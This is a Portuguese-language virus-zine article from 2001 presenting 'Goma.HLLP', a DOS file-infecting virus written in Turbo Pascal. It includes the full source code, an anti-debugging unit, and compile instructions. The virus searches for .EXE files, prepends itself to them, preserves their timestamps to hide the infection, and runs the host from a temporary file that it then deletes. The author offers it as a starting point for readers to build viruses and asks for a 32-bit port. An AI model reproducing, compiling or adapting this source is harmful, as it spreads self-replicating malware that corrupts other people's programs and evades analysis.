 
				/  __           ___          
			 |  /  |  |__)  |   |  (__           
			 |/    |  |  \  |___|  ___)          
									     
 
									     
   
     5 - Goma.HLL versao prepending por nim_bus@hotmail.com
   


               Originais em arquivo .TXT sem acentuacao


        Nim, voce mesmo ja nao disse que os virus de DOS estao mortos ?
   disse,mas como tenho uma pa deles aqui ainda, e se voce compilar com
   um pascal para windows, ele vai rodar do mesmo jeito !

        O virus abaixo por ser em pascal e por  nao corromper o arquivo
   infectado, eh um prepending, "pre" o que ? Prepending, o virus em si
   vem antes do arquivo infectado, veja mais abaixo o grafico desse ti-
   po de infeccao.

        Os virus de prepending nao sao muito encontrados,e dificilmente
   serao criados novos  desse tipo,  apenas os para windows, os quais o
   programador da asas a sua imaginacao e os mais loucos tipos de infec
   cao podem ser encontradas.

        O funcionamento do virus eh muito simples, ele cria  um arquivo
   auxiliar onde ele se copia e  no final desse arquivo o virus copia o
   programa a ser infectado. Em resumo eh isso.

        Etapas :

        - Procurar um arquivo .EXE
        - "Infectar  o  arquivo" quer dizer, criar um arquivo  auxiliar
   com o virus e no final o arquivo .EXE encontrado.
        - Apagar o arquivo encontrado
        - Renomear o arquivo auxiliar com o nome do arquivo .EXE
        - Procurar mais arquivos
        - Executar o arquivo. Aqui eh a parte legal do  virus, o virus,
   copia o programa para um arquivo temporario, executa-o como se esti-
   vesse nao infectado e o apaga, nao deixando rasto algum ...

        Porque fiz um virus de Prepending ?

        Simples, em HLL fazer um jump nao eh das tarefas mais agradave-
   is que existem , envolve um algoritmo complexo de infeccao e nao es-
   tou com tempo para pensar muito em algo que esta aqui apenas para te
   servir de base em seus "estudos" ...

        Uma das limitacoes econtradas  nesse virus e que serao  sanadas
   em suas proximas versoes, eh o  limite  de 50k para os arquivos .EXE
   a serem infectados, utilizei vetor no virus e ele trava com  valores
   superiores aos  58000 bytes, mas ta  valendo, no  proximo copio byte
   a byte via arquivo, nada de memoria ...

        O virus tem uma rotina anti-debug do Vitaly (apis32@biosys.net)
   que creio ser um plus a estrutura simples do virus, o  autor autori-
   zou o uso dos fontes no zine ...

        Sem data de ativacao, sem payloads , sem e-mail, sem  mirc, sem
   vbs, sem plugins ( agora ta na moda esses tal de plugin ...), eh  um
   virus bem basico para exemplo, afinal se tu queres aprender,o comeco
   eh o melhor inicio.

        

 
      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
									     
 
{ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Goma HLLP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
           Nome do virus: Goma
           Autor : nim_bus@hotmail.com
           Home Page : http://virusbrasil.8m.com
           Tipo : HLLP EXE Infector Runtime Prepending
           Linguagem : Turbo Pascal
           Tamanho :  5408 bytes
           Av's : none
           Retro : none
           Ativacao : none, so' replica        
           Special features : Debug Tpu Unit
           Bug's : deve ter entao favor entrar em contato caso voce detecte
                   algum ...                                                 
  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Goma HLLP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; }
{I-}                                         { Desabilita Control-C }
{$M $4000,0,0 }                              { 16K stack, no heap }
Program Goma_HLLP;                           { Goma HLLP virus }
Uses Dos, Debug;                             { Run in DOS, AntiDebug }
Const V_Size=5567;                           { Tamanho do Virus }
Var                                          { Variaveis Globais }
   Hospede: SearchRec;                       { Find First }
   Virus, Host: File;                        { Virus e Hospedeiro }
   Buffer: Array[1..58000] Of Byte;          { Buffers para Ler/Gravar }
   Buffer2: Array[1..V_Size] Of Byte;        {   "       "      "      }
   Nome: String[80];                         { Auxiliar infeccao }
   Aux, Time: Longint;                       { Aux. para Data e copia Bytes }
   Attr: Word;                               { Atributos do Arquivo }
   CmdLine, Assinatura: String;              { Executar Host; Assinatura }

Procedure Executando;                        { Procedure Executando Arquivo }
Begin                                        { Infectado }
     Assign(Virus,Nome);                     { Colocar o Nome em Virus }
     Assign(Host,'GOMA.EXE');                { Host recebe nome 'GOMA.EXE' }
     Reset(Virus,1);                         { Abrir Arquivo Infectado Virus }
     Rewrite(Host,1);                        { Criar Host }
     Seek(Virus,V_Size);                 { Mover o ponteiro pro fim do virus }
     Aux:=Filesize(Virus)-V_Size;            { Copiar quantos bytes ? }
     Blockread(Virus,Buffer,Aux);            { Ler arquivo infectado }
     Blockwrite(Host,Buffer,Aux-1);          { Copiar para HOST }
     Close(Host);                            { Fechar HOST }
     Close(Virus);                           { Fechar o arquivo com o virus }
     Nome:='';                               { Parametros }
     For Aux:=1 To Paramcount Do Nome:=Nome+Paramstr(Aux)+' '; { Parametros }
     CmdLine := 'GOMA.EXE';                  { Host chama Goma.exe }
     SwapVectors;                            { SwapVectors }
     Exec(CmdLine,Nome);                     { Executar o Host }
     SwapVectors;                            { SwapVectors }
     Rewrite(Host);                          { Abrir Host }
     Erase(Host);                            { Apagar Host }
End;

Function Fileinfect(Filename: String): Boolean; { Funcao de Verificacao }
Var                                          { Variaveis da funcao }
   Flag:Boolean;                             { Flag = .T. ou .F. }
   Host1:File Of Char;                       { Variavel para receber nome do }
                                           { arquivo possivelmente infectado }
   Ch:Char;                                  { Nosso caractere }
Begin
     Assign(Host1, Hospede.Name);
     Reset(Host1);                    { Abrir o hospedeiro a ser investigado }
     Aux:=Filesize(Host1)-1;
     Seek(Host1,Aux);                        { Parar no penultimo byte }
     Read(Host1,Ch);                         { Ler o caracter }
     Flag:=(Ord(Ch)=$Ff);                    { Tem o flag ? }
     Close(Host1);                           { Fechar o hospedeiro }
     Fileinfect:=Flag;                       { Infectado ou Nao }
End;


Begin
     Ativa;                                  { Ativar Anti Debug }                                    
     Nome:=Paramstr(0);                      { Nome do arquivo }
     FindFirst('*.EXE', Archive, Hospede);   { DIR *.EXE }
     While DosError = 0 do                   { Enquanto tiver arquivos }
     Begin
      If (Fileinfect(Hospede.Name) = False) AND (Hospede.Name <>'') AND (Hospede.Size < 58000) Then
           Begin
                Assign(Virus, Nome);
                Assign(Host, Hospede.Name);

                Getfattr(Host,Attr);         { Pegar atributos do nosso }
                                             { futuro amiguinho }
                Setfattr(Host,Archive);      { Setar para arquivo }
                Reset(Host,1);
                GetfTime(Host,Time);         { Pegar data do arquivo }

                Aux:=Filesize(Host);         { Tamanho do arquivo }

                Blockread(Host,Buffer,Aux);  { Ler Arquivo }
                Reset(Virus,1);

                Blockread(Virus,Buffer2,V_Size); { Ler Virus }
                Rewrite(Host,1);

                Blockwrite(Host,Buffer2,V_Size); { Escrever o virus no }
                                                 { Arquivo, infectando !!! }
                Blockwrite(Host,Buffer,Aux); { Escrever o arquivo de volta }
                Buffer[1]:=$Ff;

                Blockwrite(Host,Buffer,1);   { Colocar o byte de verificar}
                                             { Infeccao }
                Setftime(Host,Time);         { Voltar o horario }
                Close(Host);                 { Fechar o arquivo, INFECTADO }
                Close(Virus);                { Fechar o virus }
                Setfattr(Host,Attr);         { Devolver os atributos }
           End
           Else
     FindNext(Hospede);                      { Procurar mais ... }
     End;
     Executando;                             { Executar o host }
     Desativ;
Assinatura := 'Goma.HLLP ';                  { Assinatura do virus }
End.
{ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Goma HLLP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; }


 
        ___   __          __    __   __       __   __    __    __
       (__   |  |  |  |  |__)  |    |_       |    |  |  |  \  |_
       ___)  |__|  |__|  |  \  |__  |__      |__  |__|  |__/  |__


{ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Debug.PAS  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
       Thanks to Vitaly ...
       Web: http://madmat.hypermart.net
       E-Mail: apis32@biosys.net
 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Debug.PAS  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; }
{$A+,B-,D-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-}  
Unit Debug;                                                { Anti Debug Unit }   
Interface

Procedure Ativa;
Procedure Desativ;
Procedure Sair;

Implementation

Var
  Nome_Unit: String;              
  Int01: Pointer absolute $0:$004;   { Int 01h -> Single Step - Debugger usa }
  Int03: Pointer absolute $0:$00C;   { Int 03h -> BreakPoint -    "       "  }     
  IntXX: Pointer absolute $0:$080;                { Nova Int, 04=$10, 20=$80 }
  SalvaInt01, SalvaInt03: Pointer;

Procedure Cli; inline($FA);                                   { Limpar Int's }
Procedure Sti; inline($FB);                         { Guardar interrupcoes ? }

Procedure Sair; assembler;           { Sair Debug, se tentando debugar ! }
asm                                                                { Asm !!! }
  push  ds
  xor   ax, ax
  mov   ds, ax
  mov   ah, [046Ch]

@@Espera:
  mov   al, [046Ch]
  cmp   al, ah
  je    @@Espera
  pop   ds
End;                                    

Procedure Ativa;                             { N, no mocinho, nada feito ! }
Begin
  Port[$21] := Port[$21] or $02;
  Cli;
  Int03 := IntXX;
  Int01 := IntXX;
  Sti;
End;

Procedure Desativ;                         { Que ta acontecendo com as Int's ? }
Begin
  Port[$21] := Port[$21] and $fd;
  Cli;
  Int01 := SalvaInt01;
  Int03 := SalvaInt03;
  Sti;
End;

Begin
  Sair;
  SalvaInt01 := Int01;
  SalvaInt03 := Int03;
Nome_Unit := '[TDG 2000] AntiDebug Pascal Unit ';      { Assinatura da Unit  }
End.
{ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Debug.PAS  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; }


        O codigo esta totalmente comentado,para que voce possa entender
   o funcionamento do virus,sem grandes complicacoes, caso encontre al-
   guma duvida, ou algum pau no codigo acima, de um  toque para  que eu
   possa te ajudar (em caso de duvida) ou voce me ajudar em caso de  um
   bug.

        Compile primeiramente o debug.pas, sera criado o debug.tpu e so
   depois compile o goma.pas, pois chamamos a unit debug,e o pascal nao
   vai conseguir compilar o goma.pas sem a unit.

        O arquivo "debug.pas" eh uma unit, para despistar debug,na hora
   da compilacao, o pascal ira criar o arquivo debug.tpu, nao fique en-
   cucado com a  extensao, ele sera inserido no virus pois utilizamos a
   unit no cabecalho do virus, o pascal da um jeito de colocar ela den-
   tro do virus.

        Virus compilado com TurboPascal7.0, mas deve funcionar em todas
   as versoes do pascal, se algum tiver um compilador de pascal para 32
   e tiver os dons de compilar e mandar pra mim, agradeco...


                                           E' isso, sem mais,
                                                     nim_bus@hotmail.com

     
                       Copyright  2001, Vrus Brasil 
 
